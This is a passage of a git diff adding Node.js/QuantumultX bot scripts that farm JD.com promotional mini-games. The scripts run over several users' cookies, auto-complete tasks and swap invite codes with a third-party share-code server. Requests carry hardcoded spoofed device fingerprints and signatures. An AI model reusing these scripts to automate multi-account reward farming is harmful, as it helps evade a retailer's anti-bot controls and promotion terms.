(!code) continue + const helpRes = await jdfactory_collectScore(code); + if (helpRes.code === 0 && helpRes.data.bizCode === -7) { + console.log(`助力机会已耗尽,跳出`); + break + } else if (helpRes.code === 0 && helpRes.data.bizCode === -7001){ + console.log(`对方电力已满,无法助力,跳过`); + continue + } + } +} +async function doTask() { + if ($.taskVos && $.taskVos.length > 0) { + for (let item of $.taskVos) { + if (item.taskType === 1) { + //关注店铺任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + for (let task of item.followShopVo) { + if (task.status === 1) { + await jdfactory_collectScore(task.taskToken); + } + } + } else { + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 2) { + //看看商品任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + for (let task of item.productInfoVos) { + if (task.status === 1) { + await jdfactory_collectScore(task.taskToken); + } + } + } else { + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 3) { + //逛会场任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + for (let task of item.shoppingActivityVos) { + if (task.status === 1) { + await jdfactory_collectScore(task.taskToken); + } + } + } else { + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 9) { + //逛会场任务2 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + for (let task of item.shoppingActivityVos) { + if (task.status === 1) { + await queryVkComponent(); + await jdfactory_collectScore(task.taskToken); + } + } + } else { + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 10) { + if (item.status === 1) { + if (item.threeMealInfoVos[0].status === 1) { + //可以做此任务 + console.log(`准备做此任务:${item.taskName}`); + await jdfactory_collectScore(item.threeMealInfoVos[0].taskToken); + } else if (item.threeMealInfoVos[0].status === 0) { + console.log(`${item.taskName} 任务已错过时间`) + } + } else if (item.status === 2) { + console.log(`${item.taskName}已完成`); + } + } + if (item.taskType === 21) { + //开通会员任务 + if (item.status === 1) { + console.log(`此任务:${item.taskName},跳过`); + // for (let task of item.brandMemberVos) { + // if (task.status === 1) { + // await jdfactory_collectScore(task.taskToken); + // } + // } + } else { + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 13) { + //每日打卡 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + await jdfactory_collectScore(item.simpleRecordInfoVo.taskToken); + if ($.stop) { + console.log(`蓄电池已满,使用后才可获得更多电量哦!`); + break + } + } else { + console.log(`${item.taskName}已完成`); + } + } + if (item.taskType === 14) { + //好友助力 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + // await jdfactory_collectScore(item.simpleRecordInfoVo.taskToken); + } else { + console.log(`${item.taskName}已完成`); + } + } + if (item.taskType === 23) { + //从数码电器首页进入 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + await queryVkComponent(); + await jdfactory_collectScore(item.simpleRecordInfoVo.taskToken); + } else { + console.log(`${item.taskName}已完成`); + } + } + } + } +} + +//领取做完任务的奖励 +function jdfactory_collectScore(taskToken) { + return new Promise(async resolve => { + await $.wait(1000); + $.post(taskPostUrl("jdfactory_collectScore", { taskToken }, "jdfactory_collectScore"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.taskVos = data.data.result.taskVos;//任务列表 + console.log(`领取做完任务的奖励:${JSON.stringify(data.data.result)}`); + } else if (data.data.bizCode === -7001) { + $.stop = true + console.log(`领取做完任务的奖励:${data.data.bizMsg}`); + } + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//给商品投入电量 +function jdfactory_addEnergy() { + return new Promise(resolve => { + $.post(taskPostUrl("jdfactory_addEnergy"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + console.log(`给商品投入电量:${JSON.stringify(data.data.result)}`) + // $.taskConfigVos = data.data.result.taskConfigVos; + // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//收集电量 +function jdfactory_collectElectricity() { + return new Promise(resolve => { + $.post(taskPostUrl("jdfactory_collectElectricity"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + console.log(`成功收集${data.data.result.electricityValue}电量,当前蓄电池总电量:${data.data.result.batteryValue}\n`); + $.batteryValue = data.data.result.batteryValue; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//获取任务列表 +function jdfactory_getTaskDetail() { + return new Promise(resolve => { + $.post(taskPostUrl("jdfactory_getTaskDetail", {}, "jdfactory_getTaskDetail"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.taskVos = data.data.result.taskVos;//任务列表 + $.taskVos.map(item => { + if (item.taskType === 14) { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${item.assistTaskDetailVo.taskToken}\n`) + myInviteCode = item.assistTaskDetailVo.taskToken; + jdFactoryShareArr.push(myInviteCode) + } + }) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//选择一件商品,只能在 $.newUser !== 1 && $.haveProduct === 2 并且 sellOut === 0的时候可用 +function jdfactory_makeProduct(skuId) { + return new Promise(resolve => { + $.post(taskPostUrl('jdfactory_makeProduct', { skuId }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + console.log(`选购商品成功:${JSON.stringify(data)}`); + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function queryVkComponent() { + return new Promise(resolve => { + const options = { + "url": `https://api.m.jd.com/client.action?functionId=queryVkComponent`, + "body": `adid=0E38E9F1-4B4C-40A4-A479-DD15E58A5623&area=19_1601_50258_51885&body={"componentId":"4f953e59a3af4b63b4d7c24f172db3c3","taskParam":"{\\"actId\\":\\"8tHNdJLcqwqhkLNA8hqwNRaNu5f\\"}","cpUid":"8tHNdJLcqwqhkLNA8hqwNRaNu5f","taskSDKVersion":"1.0.3","businessId":"babel"}&build=167436&client=apple&clientVersion=9.2.5&d_brand=apple&d_model=iPhone11,8&eid=eidIf12a8121eas2urxgGc+zS5+UYGu1Nbed7bq8YY+gPd0Q0t+iviZdQsxnK/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC+PFHdNYx1A/3Zt8xYR+d3&isBackground=N&joycious=228&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=TF&rfs=0000&scope=11&screen=828*1792&sign=792d92f78cc893f43c32a4f0b2203a41&st=1606533009673&sv=122&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJFKw5SxNDrZGH4Sllq/CDN8uyMr2EAv+1xp60Q9gVAW42IfViu/SFHwjfGAvRI6iMot04FU965+8UfAPZTG6MDwxmIWN7YaTL1ACcfUTG3gtkru+D4w9yowDUIzSuB+u+eoLwM7uynPMJMmGspVGyFIgDXC/tmNibL2k6wYgS249Pa2w5xFnYHQ==&uuid=hjudwgohxzVu96krv/T6Hg==&wifiBssid=1b5809fb84adffec2a397007cc235c03`, + "headers": { + "Cookie": cookie, + "Accept": `*/*`, + "Connection": `keep-alive`, + "Content-Type": `application/x-www-form-urlencoded`, + "Accept-Encoding": `gzip, deflate, br`, + "Host": `api.m.jd.com`, + "User-Agent": "jdapp;iPhone;9.3.4;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;ADID/1C141FDD-C62F-425B-8033-9AAB7E4AE6A3;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/2005183373;supportBestPay/0;appBuild/167502;jdSupportDarkMode/0;pv/414.19;apprpd/Babel_Native;ref/TTTChannelViewContoller;psq/5;ads/;psn/88732f840b77821b345bf07fd71f609e6ff12f43|1701;jdv/0|iosapp|t_335139774|appshare|CopyURL|1610885480412|1610885486;adk/;app_device/IOS;pap/JA2015_311210|9.3.4|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Accept-Language": `zh-Hans-CN;q=1, en-CN;q=0.9`, + }, + "timeout": 10000, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log('queryVkComponent', data) + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询当前商品列表 +function jdfactory_getProductList(flag = false) { + return new Promise(resolve => { + $.post(taskPostUrl('jdfactory_getProductList'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.canMakeList = []; + $.canMakeList = data.data.result.canMakeList;//当前可选商品列表 sellOut:1为已抢光,0为目前可选择 + if ($.canMakeList && $.canMakeList.length > 0) { + $.canMakeList.sort(sortCouponCount); + console.log(`商品名称 可选状态 剩余量`) + for (let item of $.canMakeList) { + console.log(`${item.name.slice(-4)} ${item.sellOut === 1 ? '已抢光' : '可 选'} ${item.couponCount}`); + } + if (!flag) { + for (let item of $.canMakeList) { + if (item.name.indexOf(wantProduct) > -1 && item.couponCount > 0 && item.sellOut === 0) { + await jdfactory_makeProduct(item.skuId); + break + } + } + } + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function sortCouponCount(a, b) { + return b['couponCount'] - a['couponCount'] +} +function jdfactory_getHomeData() { + return new Promise(resolve => { + $.post(taskPostUrl('jdfactory_getHomeData'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + // console.log(data); + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.haveProduct = data.data.result.haveProduct; + $.userName = data.data.result.userName; + $.newUser = data.data.result.newUser; + if (data.data.result.factoryInfo) { + $.totalScore = data.data.result.factoryInfo.totalScore;//选中的商品,一共需要的电量 + $.userScore = data.data.result.factoryInfo.userScore;//已使用电量 + $.produceScore = data.data.result.factoryInfo.produceScore;//此商品已投入电量 + $.remainScore = data.data.result.factoryInfo.remainScore;//当前蓄电池电量 + $.couponCount = data.data.result.factoryInfo.couponCount;//已选中商品当前剩余量 + $.hasProduceName = data.data.result.factoryInfo.name;//已选中商品当前剩余量 + } + if ($.newUser === 1) { + //新用户 + console.log(`此京东账号${$.index}${$.nickName}为新用户暂未开启${$.name}活动\n现在为您从库存里面现有数量中选择一商品`); + if ($.haveProduct === 2) { + await jdfactory_getProductList();//选购商品 + } + // $.msg($.name, '暂未开启活动', `京东账号${$.index}${$.nickName}暂未开启${$.name}活动\n请去京东APP->搜索'玩一玩'->东东工厂->开启\n或点击弹窗即可到达${$.name}活动`, {'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D'}); + } + if ($.newUser !== 1 && $.haveProduct === 2) { + console.log(`此京东账号${$.index}${$.nickName}暂未选购商品\n现在也能为您做任务和收集免费电力`); + // $.msg($.name, '暂未选购商品', `京东账号${$.index}${$.nickName}暂未选购商品\n请去京东APP->搜索'玩一玩'->东东工厂->选购一件商品\n或点击弹窗即可到达${$.name}活动`, {'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D'}); + // await jdfactory_getProductList();//选购商品 + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `https://api.jdsharecode.xyz/api/ddfactory/${randomCount}`, timeout: 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} + +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.1.0`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Cookie": cookie, + "Host": "api.m.jd.com", + "Origin": "https://h5.m.jd.com", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html", + "User-Agent": "jdapp;iPhone;9.3.4;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;ADID/1C141FDD-C62F-425B-8033-9AAB7E4AE6A3;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/2005183373;supportBestPay/0;appBuild/167502;jdSupportDarkMode/0;pv/414.19;apprpd/Babel_Native;ref/TTTChannelViewContoller;psq/5;ads/;psn/88732f840b77821b345bf07fd71f609e6ff12f43|1701;jdv/0|iosapp|t_335139774|appshare|CopyURL|1610885480412|1610885486;adk/;app_device/IOS;pap/JA2015_311210|9.3.4|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + timeout: 10000, + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + }, + "timeout": 10000, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_jdzz.js b/jd_jdzz.js new file mode 100644 index 0000000..ddfdc01 --- /dev/null +++ b/jd_jdzz.js @@ -0,0 +1,411 @@ +/* +京东赚赚 +可以做随机互助 +活动入口:京东赚赚小程序 +长期活动,每日收益2毛左右,多号互助会较多 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +# 京东赚赚 +10 0 * * * jd_jdzz.js, tag=京东赚赚, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdzz.png, enabled=true + +================Loon============== +[Script] +cron "10 0 * * *" script-path=jd_jdzz.js,tag=京东赚赚 + +===============Surge================= +京东赚赚 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_jdzz.js + +============小火箭========= +京东赚赚 = type=cron,script-path=jd_jdzz.js, cronexpr="10 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东赚赚'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let helpAuthor = true; // 帮助作者 +const randomCount = $.isNode() ? 20 : 5; +let jdNotify = true; // 是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = '', allMessage = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const inviteCodes = [ + `` +] +let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000); +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat() + await jdWish() + } + } + if (allMessage) { + //NODE端,默认每月一日运行进行推送通知一次 + if ($.isNode() && nowTimes.getDate() === 1 && (process.env.JDZZ_NOTIFY_CONTROL ? process.env.JDZZ_NOTIFY_CONTROL === 'false' : !!1)) { + await notify.sendNotify($.name, allMessage); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdWish() { + $.bean = 0 + $.tuan = null + $.hasOpen = false; + $.assistStatus = 0; + await getTaskList(true) + + // await helpFriends() + await getUserInfo() + $.nowBean = parseInt($.totalBeanNum) + $.nowNum = parseInt($.totalNum) + for (let i = 0; i < $.taskList.length; ++i) { + let task = $.taskList[i] + if (task['taskId'] !== 3 && task['status'] !== 2) { + console.log(`去做任务:${task.taskName}`) + if (task['itemId']) + await doTask({ "itemId": task['itemId'], "taskId": task['taskId'], "taskToken": task["taskToken"], "mpVersion": "3.4.0" }) + else + await doTask({ "taskId": task['taskId'], "taskToken": task["taskToken"], "mpVersion": "3.4.0" }) + await $.wait(3000) + } + } + await getTaskList(); + await showMsg(); +} + +function showMsg() { + return new Promise(async resolve => { + message += `本次获得${parseInt($.totalBeanNum) - $.nowBean}京豆,${parseInt($.totalNum) - $.nowNum}金币\n` + message += 